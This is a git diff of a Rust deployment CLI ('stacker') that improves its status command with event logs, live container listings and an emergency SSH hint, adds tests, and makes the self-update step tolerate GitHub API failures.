+        DeploymentEventClassification::Progress => "→",
+        DeploymentEventClassification::Info => "·",
+    };
+    let ts = event.occurred_at.format("%H:%M:%S");
+    format!("  {} [{}] {}", icon, ts, event.summary)
+}
+
+fn emergency_ssh_command(server: &ServerInfo) -> Option<String> {
+    let ip = server.srv_ip.as_deref()?;
+    let private_key_path = local_backup_private_key_path(server.id);
+    if !private_key_path.exists() {
+        return None;
+    }
+
+    let ssh_user = server.ssh_user.as_deref().unwrap_or("root");
+    let ssh_port = server.ssh_port.unwrap_or(22) as u16;
+    Some(format_ssh_command(
+        &private_key_path,
+        ssh_user,
+        ip,
+        ssh_port,
+    ))
 }
 
 /// Pretty-print a deployment status with optional server/config context.
-fn print_deployment_status_rich(
-    info: &DeploymentStatusInfo,
-    json: bool,
-    ctx: &StatusContext<'_>,
-) {
+fn print_deployment_status_rich(info: &DeploymentStatusInfo, json: bool, ctx: &StatusContext<'_>) {
     if json {
         if let Ok(j) = serde_json::to_string_pretty(info) {
             println!("{}", j);
@@ -120,7 +172,18 @@ fn print_deployment_status_rich(
         status_icon, info.id, info.status
     );
     if let Some(ref msg) = info.status_message {
-        println!("  Message:         {}", msg);
+        let cleaned = clean_status_message(msg);
+        // For paused/failed show truncated summary here; full detail in the events section
+        let preview: String = cleaned
+            .lines()
+            .next()
+            .unwrap_or("")
+            .chars()
+            .take(120)
+            .collect();
+        if !preview.is_empty() {
+            println!("  Message:         {}", preview);
+        }
     }
     println!("  Project ID:      {}", info.project_id);
     println!("  Deployment hash: {}", info.deployment_hash);
@@ -132,11 +195,43 @@ fn print_deployment_status_rich(
         return;
     }
 
+    // ── Deployment events timeline ───────────────
+    if let Some(feed) = ctx.events {
+        if !feed.events.is_empty() {
+            println!("\n── Deployment Log ─────────────────────────");
+            // Show last 20 events; for failures highlight the failure events
+            let show_from = feed.events.len().saturating_sub(20);
+            for event in &feed.events[show_from..] {
+                println!("{}", format_event_line(event));
+            }
+        }
+    }
+
+    // ── Full error detail (paused / failed) ─────
+    let is_failure = matches!(info.status.as_str(), "paused" | "failed" | "error");
+    if is_failure {
+        if let Some(ref msg) = info.status_message {
+            let cleaned = clean_status_message(msg);
+            // Only show if it's multi-line or the preview was truncated
+            if cleaned.lines().count() > 1 || cleaned.len() > 120 {
+                println!("\n── Error Detail ───────────────────────────");
+                for line in cleaned.lines().take(30) {
+                    println!("  {}", line);
+                }
+                if cleaned.lines().count() > 30 {
+                    println!("  … (truncated, use `stacker deployment events` for full log)");
+                }
+            }
+        }
+    }
+
     // ── Server info ─────────────────────────────
     if let Some(srv) = ctx.server {
         println!("\n── Server ─────────────────────────────────");
         if let Some(ref name) = srv.name {
-            println!("  Name:            {}", name);
+            println!("  Name:            {} (id={})", name, srv.id);
+        } else {
+            println!("  ID:              {}", srv.id);
         }
         if let Some(ref ip) = srv.srv_ip {
             println!("  IP:              {}", ip);
@@ -154,6 +249,26 @@ fn print_deployment_status_rich(
         if let Some(ref region) = srv.region {
             println!("  Region:          {}", region);
         }
+        if let Some(command) = emergency_ssh_command(srv) {
+            println!("  Emergency SSH:   {}", command);
+        }
+    }
+
+    if let Some(containers) = ctx.live_containers {
+        if !containers.is_empty() {
+            println!("\n── Live Containers ────────────────────────");
+            println!("  {:<24} {:<12} {:<30}", "CONTAINER", "STATE", "IMAGE");
+            for c in containers {
+                let name = c.get("name").and_then(|v| v.as_str()).unwrap_or("-");
+                let state = c
+                    .get("state")
+                    .or_else(|| c.get("status"))
+                    .and_then(|v| v.as_str())
+                    .unwrap_or("-");
+                let image = c.get("image").and_then(|v| v.as_str()).unwrap_or("-");
+                println!("  {:<24} {:<12} {:<30}", name, state, image);
+            }
+        }
     }
 
     // ── Deployed apps / domains ─────────────────
@@ -203,16 +318,54 @@ fn print_deployment_status_rich(
         }
 
         // ── Next steps ──────────────────────────────
-        if info.status == "completed" {
-            println!("\n── Next Steps ─────────────────────────────");
-            println!("  • Check service health:   stacker status --watch");
-            println!("  • View logs:              stacker logs");
-            if config.proxy.proxy_type != ProxyType::None && !config.proxy.domains.is_empty() {
-                println!("  • Manage proxy:           stacker proxy");
+        println!("\n── Next Steps ─────────────────────────────");
+        match info.status.as_str() {
+            "completed" => {
+                println!("  • Check service health:   stacker status --watch");
+                println!("  • View logs:              stacker logs");
+                if config.proxy.proxy_type != ProxyType::None && !config.proxy.domains.is_empty() {
+                    println!("  • Manage proxy:           stacker proxy");
+                }
+                println!(
+                    "  • Redeploy:               stacker deploy --target {}",
+                    config.deploy.target
+                );
+                println!("\n── Documentation ──────────────────────────");
+                println!(
+                    "  https://github.com/trydirect/stacker/blob/main/docs/STACKER_YML_REFERENCE.md"
+                );
+            }
+            "paused" | "failed" | "error" => {
+                println!("  • Full event log:         stacker deployment events");
+                println!(
+                    "  • Retry deploy:           stacker deploy --target {}",
+                    config.deploy.target
+                );
+                // If this is an intranet server, nudge them toward agent install
+                let is_intranet = config
+                    .deploy
+                    .server
+                    .as_ref()
+                    .map(|s| crate::helpers::ip::is_private_host(&s.host))
+                    .unwrap_or(false);
+                if is_intranet {
+                    println!("  • Install agent (intranet): stacker agent install");
+                    println!("    (allows future deploys without Stacker cloud install service)");
+                }
+                println!("  • SSH to server:          {}", {
+                    ctx.server
+                        .and_then(|s| s.srv_ip.as_deref())
+                        .map(|ip| {
+                            let user = ctx
+                                .server
+                                .and_then(|s| s.ssh_user.as_deref())
+                                .unwrap_or("root");
+                            format!("ssh {}@{}", user, ip)
+                        })
+                        .unwrap_or_else(|| "see Server section above".to_string())
+                });
             }
-            println!("  • Redeploy:               stacker deploy --target cloud");
-            println!("\n── Documentation ──────────────────────────");
-            println!("  https://try.direct/docs");
+            _ => {}
         }
     }
 
@@ -220,7 +373,7 @@ fn print_deployment_status_rich(
 }
 
 /// Resolve the project name from stacker.yml (same logic as deploy).
-fn resolve_project_name(config: &StackerConfig) -> String {
+pub(crate) fn resolve_project_name(config: &StackerConfig) -> String {
     config
         .project
         .identity
@@ -228,8 +381,42 @@ fn resolve_project_name(config: &StackerConfig) -> String {
         .unwrap_or_else(|| config.name.clone())
 }
 
-/// Query cloud deployment status from the Stacker server, optionally watching.
-fn run_cloud_status(json: bool, watch: bool) -> Result<(), Box<dyn std::error::Error>> {
+pub(crate) fn resolve_stacker_base_url(creds: &StoredCredentials) -> String {
+    creds
+        .server_url
+        .as_deref()
+        .map(crate::cli::install_runner::normalize_stacker_server_url)
+        .unwrap_or_else(|| stacker_client::DEFAULT_STACKER_URL.to_string())
+}
+
+pub(crate) fn missing_remote_project_reason(
+    project_name: &str,
+    base_url: &str,
+    deploy_target: DeployTarget,
+) -> String {
+    format!(
+        "Project '{}' was not found on Stacker API {}. If this stack exists in another \
+environment, run `stacker whoami` to verify the active Stacker API or re-login with \
+`stacker login --auth-url <user-service-url> --api-url <stacker-api-url>`. If it has \
+not been deployed there yet, run `stacker deploy --target {}`.",
+        project_name, base_url, deploy_target
+    )
+}
+
+fn snapshot_containers(snapshot: &serde_json::Value) -> Vec<serde_json::Value> {
+    snapshot
+        .get("containers")
+        .and_then(|v| v.as_array())
+        .cloned()
+        .unwrap_or_default()
+}
+
+fn containers_signature(containers: &[serde_json::Value]) -> String {
+    serde_json::to_string(containers).unwrap_or_default()
+}
+
+/// Query remote deployment status from the Stacker server, optionally watching.
+fn run_remote_status(json: bool, watch: bool) -> Result<(), Box<dyn std::error::Error>> {
     // Load stacker.yml to find project name
     let project_dir = std::env::current_dir()?;
     let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
@@ -240,40 +427,122 @@ fn run_cloud_status(json: bool, watch: bool) -> Result<(), Box<dyn std::error::E
         )));
     }
 
-    let config_str = std::fs::read_to_string(&config_path)?;
-    let config: StackerConfig = serde_yaml::from_str(&config_str).map_err(|e| {
-        CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e))
-    })?;
+    let config = StackerConfig::from_file(&config_path)?
+        .with_resolved_deploy_target(None)
+        .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?;
 
     let project_name = resolve_project_name(&config);
+    let deploy_target = config.deploy.target;
 
     // Load credentials
     let cred_manager = CredentialsManager::with_default_store();
     let creds = cred_manager.require_valid_token("deployment status")?;
 
-    let base_url = stacker_client::DEFAULT_STACKER_URL.to_string();
+    let base_url = resolve_stacker_base_url(&creds);
 
     let rt = tokio::runtime::Builder::new_current_thread()
         .enable_all()
         .build()
-        .map_err(|e| {
-            CliError::DeployFailed {
-                target: DeployTarget::Cloud,
-                reason: format!("Failed to initialize async runtime: {}", e),
-            }
+        .map_err(|e| CliError::DeployFailed {
+            target: deploy_target,
+            reason: format!("Failed to initialize async runtime: {}", e),
         })?;
 
     rt.block_on(async {
         let client = StackerClient::new(&base_url, &creds.access_token);
 
+        if let Some(deployment_hash) = config.deploy.deployment_hash.as_ref() {
+            if !deployment_hash.trim().is_empty() {
+                let ctx = StatusContext {
+                    server: None,
+                    config: Some(&config),
+                    live_containers: None,
+                    events: None,
+                };
+                if !watch {
+                    let status = client.get_deployment_by_hash(deployment_hash).await?;
+                    match status {
+                        Some(info) => {
+                            print_deployment_status_rich(&info, json, &ctx);
+                            return Ok(());
+                        }
+                        None => {
+                            eprintln!("No deployment found for hash '{}'", deployment_hash);
+                            return Ok(());
+                        }
+                    }
+                }
+
+                eprintln!(
+                    "Watching deployment status for hash '{}'...\n",
+                    deployment_hash
+                );
+                let poll_interval = std::time::Duration::from_secs(5);
+                let mut last_status = String::new();
+                let mut last_message: Option<String> = None;
+                let mut last_containers = String::new();
+
+                loop {
+                    let status = client.get_deployment_by_hash(deployment_hash).await?;
+
+                    match status {
+                        Some(info) => {
+                            let live_containers = if info.status == "completed" {
+                                client
+                                    .agent_snapshot_by_project(info.project_id)
+                                    .await
+                                    .ok()
+                                    .map(|(snapshot, _)| snapshot_containers(&snapshot))
+                                    .unwrap_or_default()
+                            } else {
+                                Vec::new()
+                            };
+                            let container_sig = containers_signature(&live_containers);
+                            let status_changed = info.status != last_status;
+                            let message_changed = info.status_message != last_message;
+                            let containers_changed = container_sig != last_containers;
+                            if status_changed || message_changed || containers_changed {
+                                let ctx = StatusContext {
+                                    server: None,
+                                    config: Some(&config),
+                                    live_containers: (!live_containers.is_empty())
+                                        .then_some(live_containers.as_slice()),
+                                    events: None,
+                                };
+                                print_deployment_status_rich(&info, json, &ctx);
+                                last_status = info.status.clone();
+                                last_message = info.status_message.clone();
+                                last_containers = container_sig;
+                            }
+
+                            if is_terminal(&info.status) {
+                                if !json {
+                                    eprintln!(
+                                        "\nDeployment reached terminal status: {}",
+                                        info.status
+                                    );
+                                }
+                                return Ok(());
+                            }
+                        }
+                        None => {
+                            if last_status.is_empty() {
+                                eprintln!("No deployment found yet. Waiting...");
+                                last_status = "<none>".to_string();
+                            }
+                        }
+                    }
+
+                    tokio::time::sleep(poll_interval).await;
+                }
+            }
+        }
+
         // Resolve project ID by name
         let project = client.find_project_by_name(&project_name).await?;
         let project = project.ok_or_else(|| CliError::DeployFailed {
-            target: DeployTarget::Cloud,
-            reason: format!(
-                "Project '{}' not found on server. Deploy first with 'stacker deploy --target cloud'.",
-                project_name
-            ),
+            target: deploy_target,
+            reason: missing_remote_project_reason(&project_name, &base_url, deploy_target),
         })?;
 
         // Fetch server info for this project (best-effort)
@@ -281,29 +550,44 @@ fn run_cloud_status(json: bool, watch: bool) -> Result<(), Box<dyn std::error::E
             .list_servers()
             .await
             .ok()
-            .and_then(|servers| {
-                servers
-                    .into_iter()
-                    .find(|s| s.project_id == project.id)
-            });
-
-        let ctx = StatusContext {
-            server: server.as_ref(),
-            config: Some(&config),
-        };
+            .and_then(|servers| servers.into_iter().find(|s| s.project_id == project.id));
 
         if !watch {
             // Single query
-            let status = client
-                .get_deployment_status_by_project(project.id)
-                .await?;
+            let status = client.get_deployment_status_by_project(project.id).await?;
             match status {
                 Some(info) => {
+                    let live_containers = client
+                        .agent_snapshot_by_project(project.id)
+                        .await
+                        .ok()
+                        .map(|(snapshot, _)| snapshot_containers(&snapshot))
+                        .unwrap_or_default();
+                    // Fetch events for terminal states so the user can see what went wrong
+                    let events = if is_terminal(&info.status) {
+                        client
+                            .get_deployment_events_by_hash(&info.deployment_hash)
+                            .await
+                            .ok()
+                            .flatten()
+                    } else {
+                        None
+                    };
+                    let ctx = StatusContext {
+                        server: server.as_ref(),
+                        config: Some(&config),
+                        live_containers: (!live_containers.is_empty())
+                            .then_some(live_containers.as_slice()),
+                        events: events.as_ref(),
+                    };
                     print_deployment_status_rich(&info, json, &ctx);
                     Ok(())
                 }
                 None => {
-                    eprintln!("No deployments found for project '{}' (id={})", project_name, project.id);
+                    eprintln!(
+                        "No deployments found for project '{}' (id={})",
+                        project_name, project.id
+                    );
                     Ok(())
                 }
             }
@@ -317,20 +601,44 @@ fn run_cloud_status(json: bool, watch: bool) -> Result<(), Box<dyn std::error::E
             let poll_interval = std::time::Duration::from_secs(5);
             let mut last_status = String::new();
             let mut last_message: Option<String> = None;
+            let mut last_containers = String::new();
 
             loop {
-                let status = client
-                    .get_deployment_status_by_project(project.id)
-                    .await?;
+                let status = client.get_deployment_status_by_project(project.id).await?;
 
                 match status {
                     Some(info) => {
+                        let live_containers = client
+                            .agent_snapshot_by_project(project.id)
+                            .await
+                            .ok()
+                            .map(|(snapshot, _)| snapshot_containers(&snapshot))
+                            .unwrap_or_default();
+                        let container_sig = containers_signature(&live_containers);
                         let status_changed = info.status != last_status;
                         let message_changed = info.status_message != last_message;
-                        if status_changed || message_changed {
+                        let containers_changed = container_sig != last_containers;
+                        if status_changed || message_changed || containers_changed {
+                            let events = if is_terminal(&info.status) {
+                                client
+                                    .get_deployment_events_by_hash(&info.deployment_hash)
+                                    .await
+                                    .ok()
+                                    .flatten()
+                            } else {
+                                None
+                            };
+                            let ctx = StatusContext {
+                                server: server.as_ref(),
+                                config: Some(&config),
+                                live_containers: (!live_containers.is_empty())
+                                    .then_some(live_containers.as_slice()),
+                                events: events.as_ref(),
+                            };
                             print_deployment_status_rich(&info, json, &ctx);
                             last_status = info.status.clone();
                             last_message = info.status_message.clone();
+                            last_containers = container_sig;
                         }
 
                         if is_terminal(&info.status) {
@@ -354,25 +662,31 @@ fn run_cloud_status(json: bool, watch: bool) -> Result<(), Box<dyn std::error::E
     })
 }
 
-/// Detect whether the project is configured for cloud (remote) deployment.
-fn is_cloud_deployment(project_dir: &Path) -> bool {
+/// Detect whether the project is configured for a remote (cloud/server) deployment.
+pub(crate) fn is_remote_deployment(project_dir: &Path) -> bool {
+    if let Ok(Some(lock)) = crate::cli::deployment_lock::DeploymentLock::load(project_dir) {
+        if lock.deployment_id.is_some() || lock.target != "local" {
+            return true;
+        }
+    }
+
     let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
     if !config_path.exists() {
         return false;
     }
 
-    let config_str = match std::fs::read_to_string(&config_path) {
-        Ok(s) => s,
+    let config = match StackerConfig::from_file(&config_path)
+        .and_then(|config| config.with_resolved_deploy_target(None))
+    {
+        Ok(config) => config,
         Err(_) => return false,
     };
 
-    let config: StackerConfig = match serde_yaml::from_str(&config_str) {
-        Ok(c) => c,
-        Err(_) => return false,
-    };
-
-    // Cloud if target is Cloud, or if remote orchestrator is configured
-    if config.deploy.target == DeployTarget::Cloud {
+    // Remote if target is Cloud/Server, or if remote orchestrator is configured
+    if matches!(
+        config.deploy.target,
+        DeployTarget::Cloud | DeployTarget::Server
+    ) {
         return true;
     }
 
@@ -389,9 +703,9 @@ impl CallableTrait for StatusCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         let project_dir = std::env::current_dir()?;
 
-        if is_cloud_deployment(&project_dir) {
-            // Cloud deployment — query Stacker server
-            run_cloud_status(self.json, self.watch)?;
+        if is_remote_deployment(&project_dir) {
+            // Remote deployment — query Stacker server
+            run_remote_status(self.json, self.watch)?;
         } else {
             // Local deployment — docker compose ps
             let executor = ShellExecutor;
@@ -412,6 +726,14 @@ impl CallableTrait for StatusCommand {
 #[cfg(test)]
 mod tests {
     use super::*;
+    use crate::cli::deployment_lock::DeploymentLock;
+    use crate::cli::stacker_client::ServerInfo;
+    use chrono::{Duration, Utc};
+    use std::sync::Mutex;
+
+    // Serialise tests that mutate XDG_CONFIG_HOME to prevent races when
+    // cargo runs lib tests in parallel threads.
+    static ENV_LOCK: Mutex<()> = Mutex::new(());
 
     #[test]
     fn test_status_local_constructs_query() {
@@ -431,7 +753,11 @@ mod tests {
         struct MockExec;
         impl CommandExecutor for MockExec {
             fn execute(&self, _p: &str, _a: &[&str]) -> Result<CommandOutput, CliError> {
-                Ok(CommandOutput { exit_code: 0, stdout: String::new(), stderr: String::new() })
+                Ok(CommandOutput {
+                    exit_code: 0,
+                    stdout: String::new(),
+                    stderr: String::new(),
+                })
             }
         }
 
@@ -442,6 +768,55 @@ mod tests {
         assert!(err.contains("No deployment found"));
     }
 
+    #[test]
+    fn test_status_uses_configured_compose_file_for_local_target() {
+        struct MockExec {
+            calls: std::sync::Mutex<Vec<Vec<String>>>,
+        }
+
+        impl CommandExecutor for MockExec {
+            fn execute(&self, _p: &str, args: &[&str]) -> Result<CommandOutput, CliError> {
+                self.calls
+                    .lock()
+                    .unwrap()
+                    .push(args.iter().map(|arg| arg.to_string()).collect());
+                Ok(CommandOutput {
+                    exit_code: 0,
+                    stdout: String::new(),
+                    stderr: String::new(),
+                })
+            }
+        }
+
+        let dir = tempfile::TempDir::new().unwrap();
+        std::fs::create_dir_all(dir.path().join("docker/local")).unwrap();
+        std::fs::write(
+            dir.path().join("docker/local/compose.yml"),
+            "services: {}\n",
+        )
+        .unwrap();
+        std::fs::write(
+            dir.path().join(DEFAULT_CONFIG_FILE),
+            "name: demo\ndeploy:\n  target: local\n  compose_file: docker/local/compose.yml\n",
+        )
+        .unwrap();
+
+        let executor = MockExec {
+            calls: std::sync::Mutex::new(Vec::new()),
+        };
+
+        run_status(dir.path(), false, &executor).unwrap();
+
+        let calls = executor.calls.lock().unwrap();
+        assert_eq!(calls.len(), 1);
+        assert_eq!(
+            calls[0][2],
+            dir.path()
+                .join("docker/local/compose.yml")
+                .to_string_lossy()
+        );
+    }
+
     #[test]
     fn test_is_terminal_status() {
         assert!(is_terminal("completed"));
@@ -455,8 +830,234 @@ mod tests {
     }
 
     #[test]
-    fn test_is_cloud_deployment_no_config() {
+    fn test_is_remote_deployment_no_config() {
         let dir = tempfile::TempDir::new().unwrap();
-        assert!(!is_cloud_deployment(dir.path()));
+        assert!(!is_remote_deployment(dir.path()));
+    }
+
+    #[test]
+    fn test_is_remote_deployment_for_server_target_config() {
+        let dir = tempfile::TempDir::new().unwrap();
+        std::fs::write(
+            dir.path().join(DEFAULT_CONFIG_FILE),
+            "name: demo\ndeploy:\n  target: server\n  server:\n    host: 203.0.113.10\n    user: root\n    port: 22\n",
+        )
+        .unwrap();
+
+        assert!(is_remote_deployment(dir.path()));
+    }
+
+    #[test]
+    fn test_is_remote_deployment_for_named_server_target_config() {
+        let dir = tempfile::TempDir::new().unwrap();
+        std::fs::write(
+            dir.path().join(DEFAULT_CONFIG_FILE),
+            r#"name: demo
+app:
+  type: static
+deploy:
+  default_target: prod
+  targets:
+    local:
+      compose_file: docker/local/compose.yml
+    prod:
+      server:
+        host: 10.0.0.8
+        user: deploy
+        ssh_key: ~/.ssh/id_ed25519
+"#,
+        )
+        .unwrap();
+
+        assert!(is_remote_deployment(dir.path()));
+    }
+
+    #[test]
+    fn test_is_remote_deployment_for_hydrated_lock() {
+        let dir = tempfile::TempDir::new().unwrap();
+        DeploymentLock {
+            target: "cloud".to_string(),
+            server_ip: Some("203.0.113.10".to_string()),
+            ssh_user: Some("root".to_string()),
+            ssh_port: Some(22),
+            ssh_key: None,
+            server_name: Some("demo".to_string()),
+            deployment_id: Some(42),
+            project_id: Some(7),
+            cloud_id: Some(9),
+            project_name: Some("demo".to_string()),
+            stacker_email: Some("owner@example.com".to_string()),
+            deployed_at: Utc::now().to_rfc3339(),
+        }
+        .save(dir.path())
+        .unwrap();
+
+        assert!(is_remote_deployment(dir.path()));
+    }
+
+    #[test]
+    fn test_resolve_stacker_base_url_prefers_hydrated_server_url() {
+        let creds = StoredCredentials {
+            access_token: "token".to_string(),
+            refresh_token: None,
+            token_type: "Bearer".to_string(),
+            expires_at: Utc::now() + Duration::minutes(10),
+            email: None,
+            server_url: Some("https://custom.stacker.example".to_string()),
+            org: None,
+            domain: None,
+        };
+
+        assert_eq!(
+            resolve_stacker_base_url(&creds),
+            "https://custom.stacker.example"
+        );
+    }
+
+    #[test]
+    fn test_resolve_stacker_base_url_normalizes_api_v1_suffix() {
+        let creds = StoredCredentials {
+            access_token: "token".to_string(),
+            refresh_token: None,
+            token_type: "Bearer".to_string(),
+            expires_at: Utc::now() + Duration::minutes(10),
+            email: None,
+            server_url: Some("https://custom.stacker.example/api/v1".to_string()),
+            org: None,
+            domain: None,
+        };
+
+        assert_eq!(
+            resolve_stacker_base_url(&creds),
+            "https://custom.stacker.example"
+        );
+    }
+
+    #[test]
+    fn test_resolve_stacker_base_url_preserves_legacy_stacker_route() {
+        let creds = StoredCredentials {
+            access_token: "token".to_string(),
+            refresh_token: None,
+            token_type: "Bearer".to_string(),
+            expires_at: Utc::now() + Duration::minutes(10),
+            email: None,
+            server_url: Some("https://dev.try.direct/stacker".to_string()),
+            org: None,
+            domain: None,
+        };
+
+        assert_eq!(
+            resolve_stacker_base_url(&creds),
+            "https://dev.try.direct/stacker"
+        );
+    }
+
+    #[test]
+    fn test_resolve_stacker_base_url_preserves_api_gateway_host() {
+        let creds = StoredCredentials {
+            access_token: "token".to_string(),
+            refresh_token: None,
+            token_type: "Bearer".to_string(),
+            expires_at: Utc::now() + Duration::minutes(10),
+            email: None,
+            server_url: Some("https://api.try.direct".to_string()),
+            org: None,
+            domain: None,
+        };
+
+        assert_eq!(resolve_stacker_base_url(&creds), "https://api.try.direct");
+    }
+
+    #[test]
+    fn test_emergency_ssh_command_uses_local_backup_key_when_present() {
+        let _guard = ENV_LOCK.lock().unwrap();
+        let temp_home = tempfile::TempDir::new().unwrap();
+        std::env::set_var("XDG_CONFIG_HOME", temp_home.path());
+
+        let ssh_dir = temp_home.path().join("stacker/ssh");
+        std::fs::create_dir_all(&ssh_dir).unwrap();
+        let private_key_path = ssh_dir.join("server-92_ed25519");
+        std::fs::write(&private_key_path, "PRIVATE KEY").unwrap();
+
+        let server = ServerInfo {
+            id: 92,
+            user_id: "user".to_string(),
+            project_id: 7,
+            cloud_id: None,
+            cloud: Some("hetzner".to_string()),
+            region: Some("fsn1".to_string()),
+            zone: None,
+            server: Some("cx22".to_string()),
+            os: None,
+            disk_type: None,
+            srv_ip: Some("178.105.133.10".to_string()),
+            ssh_port: Some(22),
+            ssh_user: Some("root".to_string()),
+            name: Some("status-web".to_string()),
+            vault_key_path: None,
+            connection_mode: "ssh".to_string(),
+            key_status: "active".to_string(),
+        };
+
+        let command = emergency_ssh_command(&server).expect("ssh command should be available");
+        assert!(command.contains("server-92_ed25519"));
+        assert!(command.contains("root@178.105.133.10"));
+        assert!(command.contains(" -p 22 "));
+    }
+
+    #[test]
+    fn test_emergency_ssh_command_is_absent_without_local_backup_key() {
+        let _guard = ENV_LOCK.lock().unwrap();
+        let temp_home = tempfile::TempDir::new().unwrap();
+        std::env::set_var("XDG_CONFIG_HOME", temp_home.path());
+
+        let server = ServerInfo {
+            id: 93,
+            user_id: "user".to_string(),
+            project_id: 7,
+            cloud_id: None,
+            cloud: Some("hetzner".to_string()),
+            region: Some("fsn1".to_string()),
+            zone: None,
+            server: Some("cx22".to_string()),
+            os: None,
+            disk_type: None,
+            srv_ip: Some("178.105.133.11".to_string()),
+            ssh_port: Some(22),
+            ssh_user: Some("root".to_string()),
+            name: Some("status-web".to_string()),
+            vault_key_path: None,
+            connection_mode: "ssh".to_string(),
+            key_status: "active".to_string(),
+        };
+
+        assert!(emergency_ssh_command(&server).is_none());
+    }
+
+    #[test]
+    fn test_missing_remote_project_reason_mentions_active_stacker_api() {
+        let reason = missing_remote_project_reason(
+            "coolify",
+            "https://stacker.try.direct",
+            DeployTarget::Cloud,
+        );
+
+        assert!(reason.contains("Project 'coolify' was not found"));
+        assert!(reason.contains("https://stacker.try.direct"));
+        assert!(reason.contains("stacker whoami"));
+        assert!(reason.contains("stacker login"));
+        assert!(reason.contains("stacker deploy --target cloud"));
+    }
+
+    #[test]
+    fn test_missing_remote_project_reason_uses_server_target_when_requested() {
+        let reason = missing_remote_project_reason(
+            "coolify",
+            "https://dev.try.direct/stacker",
+            DeployTarget::Server,
+        );
+
+        assert!(reason.contains("https://dev.try.direct/stacker"));
+        assert!(reason.contains("stacker deploy --target server"));
     }
 }
diff --git a/src/console/commands/cli/submit.rs b/src/console/commands/cli/submit.rs
index 0d94e5ee..e9f78a04 100644
--- a/src/console/commands/cli/submit.rs
+++ b/src/console/commands/cli/submit.rs
@@ -76,7 +76,13 @@ impl CallableTrait for SubmitCommand {
         let slug = name
             .to_lowercase()
             .chars()
-            .map(|c| if c.is_ascii_alphanumeric() || c == '-' { c } else { '-' })
+            .map(|c| {
+                if c.is_ascii_alphanumeric() || c == '-' {
+                    c
+                } else {
+                    '-'
+                }
+            })
             .collect::<String>()
             .split('-')
             .filter(|s| !s.is_empty())
@@ -126,10 +132,7 @@ impl CallableTrait for SubmitCommand {
 
             // Success message
             println!();
-            println!(
-                "Submitted '{}' v{} for marketplace review.",
-                name, version
-            );
+            println!("Submitted '{}' v{} for marketplace review.", name, version);
             println!(
                 "Your stack will be published automatically once accepted by the review team."
             );
diff --git a/src/console/commands/cli/update.rs b/src/console/commands/cli/update.rs
index 2b82203f..f5b9feb3 100644
--- a/src/console/commands/cli/update.rs
+++ b/src/console/commands/cli/update.rs
@@ -1,5 +1,6 @@
 use crate::cli::error::CliError;
 use crate::console::commands::CallableTrait;
+use crate::helpers::fs::write_atomic;
 use flate2::read::GzDecoder;
 use std::env;
 use std::fs;
@@ -8,8 +9,8 @@ use std::path::PathBuf;
 
 const DEFAULT_CHANNEL: &str = "stable";
 const VALID_CHANNELS: &[&str] = &["stable", "beta"];
-const GITHUB_API_RELEASES: &str =
-    "https://api.github.com/repos/trydirect/stacker/releases";
+const GITHUB_API_RELEASES: &str = "https://api.github.com/repos/trydirect/stacker/releases";
+const RELEASES_URL_ENV: &str = "STACKER_UPDATE_RELEASES_URL";
 const CURRENT_VERSION: &str = env!("CARGO_PKG_VERSION");
 
 /// Parse and validate a release channel string.
@@ -58,16 +59,31 @@ struct GithubAsset {
 /// Fetch the latest release from GitHub that matches the channel.
 /// - "stable" → non-prerelease releases
 /// - "beta"   → prerelease releases
-fn fetch_latest_release(channel: &str) -> Result<Option<GithubRelease>, Box<dyn std::error::Error>> {
+///
+/// Returns `Ok(None)` when the GitHub API is unreachable or rate-limited so
+/// that the update command exits 0 instead of failing the CLI.
+fn releases_api_url() -> String {
+    env::var(RELEASES_URL_ENV).unwrap_or_else(|_| GITHUB_API_RELEASES.to_string())
+}
+fn fetch_latest_release(
+    channel: &str,
+) -> Result<Option<GithubRelease>, Box<dyn std::error::Error>> {
     let client = reqwest::blocking::Client::builder()
         .user_agent(format!("stacker-cli/{}", CURRENT_VERSION))
         .build()?;
 
-    let releases: Vec<GithubRelease> = client
-        .get(GITHUB_API_RELEASES)
-        .send()?
-        .error_for_status()?
-        .json()?;
+    let response = client.get(releases_api_url()).send()?;
+
+    if !response.status().is_success() {
+        eprintln!(
+            "Warning: could not check for updates (GitHub API returned {}). \
+             Try again later or set a GITHUB_TOKEN environment variable.",
+            response.status()
+        );
+        return Ok(None);
+    }
+
+    let releases: Vec<GithubRelease> = response.json()?;
 
     let want_prerelease = channel == "beta";
     let release = releases
@@ -109,7 +125,9 @@ fn download_to_tempfile(url: &str) -> Result<tempfile::NamedTempFile, Box<dyn st
 }
 
 /// Extract the `stacker` binary from a `.tar.gz` archive and return its bytes.
-fn extract_binary_from_targz(tmp: &tempfile::NamedTempFile) -> Result<Vec<u8>, Box<dyn std::error::Error>> {
+fn extract_binary_from_targz(
+    tmp: &tempfile::NamedTempFile,
+) -> Result<Vec<u8>, Box<dyn std::error::Error>> {
     let file = fs::File::open(tmp.path())?;
     let gz = GzDecoder::new(file);
     let mut archive = tar::Archive::new(gz);
@@ -129,25 +147,7 @@ fn extract_binary_from_targz(tmp: &tempfile::NamedTempFile) -> Result<Vec<u8>, B
 /// Replace the running executable with `new_bytes`.
 fn replace_current_exe(new_bytes: Vec<u8>) -> Result<(), Box<dyn std::error::Error>> {
     let current_exe: PathBuf = env::current_exe()?;
-
-    // Write new binary to a sibling temp file, then atomically rename.
-    let parent = current_exe.parent().ok_or("Cannot determine binary parent directory")?;
-    let mut tmp = tempfile::Builder::new()
-        .prefix(".stacker-update-")
-        .tempfile_in(parent)?;
-    io::Write::write_all(&mut tmp, &new_bytes)?;
-
-    // Make executable (Unix)
-    #[cfg(unix)]
-    {
-        use std::os::unix::fs::PermissionsExt;
-        let mut perms = tmp.as_file().metadata()?.permissions();
-        perms.set_mode(0o755);
-        tmp.as_file().set_permissions(perms)?;
-    }
-
-    let (_, tmp_path) = tmp.keep()?;
-    fs::rename(&tmp_path, &current_exe)?;
+    write_atomic(&current_exe, &new_bytes, 0o755)?;
     Ok(())
 }
 
@@ -180,10 +180,7 @@ impl CallableTrait for UpdateCommand {
         let latest_version = release.tag_name.trim_start_matches('v');
 
         if !is_newer(CURRENT_VERSION, latest_version) {
-            eprintln!(
-                "You are running the latest version (v{}).",
-                CURRENT_VERSION
-            );
+            eprintln!("You are running the latest version (v{}).", CURRENT_VERSION);
             return Ok(());
         }
 
@@ -209,7 +206,10 @@ impl CallableTrait for UpdateCommand {
         eprintln!("Installing...");
